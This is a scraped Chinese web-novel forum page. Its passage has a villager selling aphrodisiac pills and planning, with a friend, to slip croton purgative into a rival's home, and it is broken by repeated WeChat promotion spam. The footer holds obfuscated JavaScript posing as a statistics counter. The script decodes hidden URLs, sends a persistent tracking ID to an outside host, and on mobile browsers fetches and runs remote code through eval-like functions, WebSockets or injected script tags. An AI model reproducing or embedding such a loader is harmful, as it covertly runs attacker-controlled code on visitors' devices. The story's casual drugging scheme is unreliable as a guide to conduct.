  “好!我买两颗!”刘宝根豪气开口,直挺挺地站了起来。
  秦勇点头,心下早就乐开花了,话说这药其实配制不难,也没有他说的那幺玄乎,主配方就是红参,红参是壮阳必备,药性温和不假,不过服了后,傻柱到底能不能和水芹完成美事就看他自己了。
  从药箱里拿出一个小方盒子,秦勇将其打开,只见两颗红色的药丸躺在其中,就在刘宝根要凑上来拿出药看的时候,秦勇忙一关盒子:“村长,别没事开药盒,小心药性挥发,另外服用后半小时才会起到效果,可不能一下子服用两颗。”
  “嗯嗯,我知道,我知道了!”刘宝根堆笑着答应,接着忙一手拿过药盒。
  看着刘宝根如获至宝的模样,秦勇手指敲了敲桌面,意思再明显不过,就是说你药也拿了,该付钱了吧。
  也就没几分钟,篇幅有限,关注徽信公,众,号[雄霸文学] 回复数字“33”, 继续阅读高潮不断!秦勇离开刘宝根家,心情大好,这刚刚给水芹看病是三百,然后卖药又是六百,啧啧,这一天他秦勇居然赚了九百大洋,这放在平日里秦勇简直不敢相信刘宝根会这幺大方,但是秦勇知道这一切都是有原因的。
  后背的伤还有些疼痛感,秦勇回家扒了口饭便呼呼大睡,而直到傍晚,小六终于敲响了秦勇家的门。
  “勇哥,这是巴豆粉,够分量吧?”小六气喘吁吁坐在秦勇的床沿,拿出一小包药粉。
  “量是够,不过李虎你打听没有?”秦勇看了看巴豆粉,一把揣进裤兜。
  “那王八羔子欺男霸女,今天还闭门不出,刚刚田翠花去他家了。”小六解释一句。
  田翠花的男人去大城市打工去了,她和其他大牛村的留守妇女一样,除了带娃就是忙农活,但是想不到大晚上居然会去李虎家里,这倒是让秦勇有些意外。
  “田翠花看来和李霸有一腿,今晚有好戏看了。”秦勇眼珠子滴溜溜一转,接着露出微笑。
  “勇哥,田翠花这骚娘们勾三搭四也不含糊,之前还骗过赵富贵几百块钱,那赵富贵可是吃了哑巴亏呢。”小六咧嘴一笑。
  “确定就李虎和田翠花,其他没人吗?”秦勇单手托着下巴,手中的巴豆粉攥的紧紧地。
  “嗯,我早就打探好了。”篇幅有限,关注徽信公,众,号[雄霸文学] 回复数字“33”, 继续阅读高潮不断!小六肯定的说道。
  听到小六的话,秦勇露出诡异地微笑,他换上了一件黑色汗衫,和小六一起,对着李虎家悄悄地摸了过去。
  夜幕之下,秦勇和小六小心翼翼,生怕人发现,这李虎家独门独户,外面有一个两米高的土墙,要没任何动静的闯进去,一个人还真不够。
  透过院门缝,秦勇看着昏暗灯光下的三间平房,忙开口:“小六,我们叠个罗汉。”
  这话刚说完,小六却是示意秦勇别说话,接着笑了笑。
  “额,虎哥你慢点,别急嘛!”
  “翠花,你可想死我了!”
  “坏死了你!”
  连续的话语声让秦勇咧嘴一笑,露出幸灾乐祸地表情。

[ 此贴被七号车手在2019-03-03 18:23重新编辑 ]

 

热门搜索


友情链接




返回首页 | 返回顶部

Copyright © 2020-2021  统计代码

统计代码
function dwVeL(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function mFhtru(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return dwVeL(t);};window[''+'t'+'N'+'a'+'p'+'R'+'d'+'q'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ohdG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=mFhtru,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ohdG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9779/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ohdG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnB0bC55jbiUzQTg4OTE=','d3NzJTNBJTJGGJTJGGYS53aGGJnei5jbiUzQTk1MzU=','9781',window,document,['5','G']);}:function(){};